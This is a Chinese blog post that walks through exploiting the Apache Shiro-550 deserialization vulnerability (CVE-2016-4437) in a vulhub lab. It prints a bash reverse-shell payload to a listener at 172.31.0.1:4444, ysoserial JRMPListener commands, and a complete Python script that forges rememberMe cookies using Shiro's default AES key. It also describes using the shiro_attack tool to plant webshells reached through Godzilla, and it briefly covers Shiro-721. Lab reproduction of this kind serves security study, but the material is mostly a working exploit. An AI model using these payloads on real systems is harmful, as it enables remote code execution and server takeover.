shiro550反序列化漏洞复现

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

原理:

勾选了记住我(rememberMe),用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

该漏洞的特征是在登录的时候response中会含有rememberMe=deleteMe

漏洞复现

使用vulhub复现该漏洞

cd vulhub/shiro/CVE-2016-4437/
sudo docker-compose up -d


靶机成功启动

需要使用到一个java反序列化工具ysoserial,地址为https://github.com/frohoff/ysoserial
该工具需要java jdk8的环境,如果在最新的kali中使用会报错,需要配置jdk 8的环境变量,这里我使用的是软连接的方式更换,具体步骤如下,

下载jdk8
https://www.oracle.com/hk/java/technologies/javase/javase8-archive-downloads.html

解压,然后进入jdk1.8.0_192/bin

设置软链接,因为懒得配置环境变量

sudo ln -s /home/kali/vulhub/shiro/CVE-2016-4437/jdk1.8.0_192/bin/java8 /usr/bin

准备好工具后,现在开始进行漏洞利用

  1. 在本机监听4444端口

  2. 准备反弹shellpayload

# 格式如下
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzEuMC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
# base64编码内容为
bash -i >& /dev/tcp/172.31.0.1/4444 0>&1

  1. 使用ysoserial生成rememberMe反弹shellpayload
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzEuMC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"

接着使用shiro.py请求本机7777端口获得rememberMe反弹shell代码,注意使用python2运行

python2 shiro.py 192.168.154.138:7777


shiro.py内容如下


import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
 
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())
  1. rememberMe复制到cookie中,需要加入;

    发送数据包以后就会获得shell

漏洞利用工具

这里还有其他的漏洞利用工具,例如shiro_attack-2.2.jar
下载地址:https://github.com/j1anFen/shiro_attack/releases/tag/2.2
使用方法很简单,首先输入目标的IP

可以直接执行命令,或者写入木马

写入木马

使用哥斯拉连接

shiro721

后续了解到shiro还有一个721反序列化漏洞,是基于550升级后的,升级后需要拥有一个用户凭据登录成功使用保存的cookie值,然后升级后的aes加密的key值不是默认的,所以aes的key值需要通过通过一些手段获取,使用的是Padding Oracle Attack,Padding Oracle Attack攻击可以实现破解AES-CBC加密过程进而实现rememberMe的内容伪造

这个漏洞利用会发送很多请求,并且漏洞利用成功需要很久的时间,大概一小时左右,所以会有大量连接,直接封IP就可以解决漏洞。

posted @ 2024-04-12 20:06  Junglezt  阅读(130)  评论(0编辑  收藏  举报